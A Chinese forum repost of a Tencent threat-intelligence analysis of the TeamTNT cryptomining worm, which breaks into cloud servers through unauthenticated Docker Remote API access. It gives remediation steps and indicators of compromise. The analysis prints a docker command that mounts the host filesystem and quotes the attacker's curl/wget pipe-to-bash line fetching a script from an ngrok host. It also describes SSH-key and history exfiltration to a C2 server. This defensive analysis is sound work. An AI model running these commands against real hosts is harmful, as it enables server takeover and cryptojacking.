首页
社区
课程
招聘
[原创]TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞入侵云服务器
发表于: 2020-11-27 14:30 2742

[原创]TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞入侵云服务器

2020-11-27 14:30
2742

一、背景

腾讯安全威胁情报中心检测到TeamTNT挖矿木马利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT挖矿木马入侵后会隐藏进程,并且通过安装定时任务持久化、通过SSH复用连接进行横向移动感染更多服务器。同时挖矿木马会占用大量CPU资源进行计算,可能导致业务系统崩溃。

 

腾讯安全专家建议企业用户按照以下步骤进行自查以及处置:

 

1.Docker Remote API的2375 非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;

2.排查当前主机docker的容器,是否存在非正常容器,将其停止并删除;

3.排查.ssh/authorized_keys、/etc/passwd、/etc/shadow是否被修改或者被新增用户;

4.排查是否存在以下文件,如存在以下文件,确认其md5值,如确认为异常文件,请及时删除:


/usr/local/lib/python3.5.so

/dev/shm/sbin

/usr/bin/tshd

/usr/bin/kube

/usr/bin/bioset

/tmp/ps/.x112

/bin/sbin

/tmp/.configure/.configure   /tmp/.configure/.kube

/home/jovyan/.config/.configure  /home/jovyan/.config/.kube


腾讯安全系列产品应对TeamTNT挖矿木马变种的响应清单如下:

更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/




二、详细分析

Docker Remote API未授权访问漏洞有严重风险,使用docker swarm管理的docker节点上开放一个TCP端口2375,绑定 IP 为: 0.0.0.0, 且暴露在公网上。导致攻击者可以远程管理该主机的 docker 容器,可启动、下载、重启镜像,甚至删除上面的容器。

 

通过 API 拉取开启一个容器后,虽然docker 执行命令只能在container内部,与宿主机是隔离的。但docker 在运行 container的时候,可以将宿主机文件或目录作为 volume olumeolume挂载到 container内,并且在 container内部对这些文件进行修改。

 

攻击者可以使用以下命令,启动一个container,将宿主的目录挂载到container内,然后切换到挂载目录,即可执行任意命令。通过修改/sshd_config文件,在写入主机的ssh公钥,即可远程登录该宿主机。

docker -H tcp://x.x.x.x:2375 run -it -v /:/mntxxx chroot /mnt sh

 

Docker Remote API未授权访问漏洞,攻击者通过构造特定的请求实现漏洞利用,成功利用漏洞可在目标服务器上实现权限获取,风险较高。目前漏洞的利用方式已被公开。

(https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py)

 

攻击者通过漏洞首先启动一个busybox容器,然后将宿主目录挂载到mnt路径下,然后执行恶意命令:

chroot /mnt bash -c curlhttp://0ee0da0d2bb1.ngrok.io/meow.sh | bash || wget -O -http://0ee0da0d2bb1.ngrok.io/meow.sh | bash

 

meow.sh主要功能是向宿主机写入公钥,并添加用户进行控制:



添加用户:



在完成了用户添加后,在登录到系统,并执行命令下载cat.sh文件。



cat.sh是整个挖矿的核心文件。有几个大模块:LOCKSCREEN、XMRIGSETUP、MAKE_USERS、SETUP_USER

 

通过对当前用户进行判断,根据不同的用户执行相应的操作。



LOCKSCREEN主要是鉴权操作:



XMRIGSETUP是挖矿的核心功能,该模块首先会写入一个xmrso.tar.gz的文件,然后解压后存储为python3.5.so的文件。并通过利用预加载型恶意动态链接库的方式对进程进行隐藏。



Python3.5.so通过通过重写readdir,readdir64库函数来达到隐藏xmrig进程的目的。



计算当前主机相关性能参数,计算hashrate.



在确定hashrate,杀掉当前已有的挖矿程序后,下载挖矿主程序,并进行进行挖矿操作。为了不因为CPU利用达到100%而被发现,配置了CPU使用率上限。



MAKE_USERS 主要功能是创建一个有root权限的hilde用户,并写入公钥,修改相应权限,并修改sshd_config文件,以运行利用密码进行远程登录。



在添加完用户后,进行远程登录操作,并清楚命令记录:



SETUP_USER主要是执行前面三个模块,并下载sbin/ziggy_spread两个文件并执行。两个文件都是加载器。



在执行完以上操作后,会下载一个ssh名称的文件。



ssh文件也分为几个功能模块:setupmyapps、uploadthersa、getsomelanssh、localgo

首先执行setupmyapps,该模块主要是对主机安装恶意软件,包括default.jpg,tshd.jpg,bioset.jpg,pnscan,其中default.jpg为挖矿的主程序,tshd.jpg和bioset.jpg为后门文件。pnscan用以进行横向攻击时进行扫描探测。



然后执行uploadthersa,该模块的主要功能是将本地的相关的文件打包上传,如authorized_keys,known_hosts、.bash_history等文件进行打包后,利用curl上传到C2服务器。



在执行getsomelanssh,该模块主要功能是通过读取相关文件,确认关联的IP,在利用pnscan进行扫描。确认是否开启22端口



再执行localgo模块,该模块主要功能是利用ssh进行横向渗透,并下载执行恶意文件。



通过以上分析能够看出该挖矿木马具有漏洞利用、挖矿、横向移动等全部功能,且能够进行进程隐藏等操作。


IOCs

IP

85.214.149.236

 

Domain

kaiserfranz.cc

teamtnt.red

0ee0da0d2bb1.ngrok.io

 

C&C

hxxps://teamtnt.red/only_for_stats/index.php

 

Md5


URL:

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/default.jpg

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/tshd.jpg

hxxp://85.214.149.236:443/sugarcrm/themes/default/images/bioset.jpg

hxxp://kaiserfranz.cc/ziggy_spread

hxxp://kaiserfranz.cc/sbin

hxxp://0ee0da0d2bb1.ngrok.io/meow.sh

hxxp://0ee0da0d2bb1.ngrok.io/cat.sh

hxxps://teamtnt.red/so/64/xmrig.so

hxxps://teamtnt.red/sh/ssh

 

钱包:

89oyHGJuSAVVD2NjfExz7dQ68fAKsgJptgB8CBD4qm458WgNV6BnaBgXDHJHNTG7VSbCmuWQK5ABD9UmyijKoogP64pwhPW

 

矿池地址:

gulf.moneroocean.stream

 



参考链接:

https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports

https://blog.aquasec.com/container-security-tnt-container-attack

https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 2494
活跃值: (2920)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
网上TNT pj的软件还能用不?
2020-11-27 17:52
0
游客
登录 | 注册 方可回帖
返回
//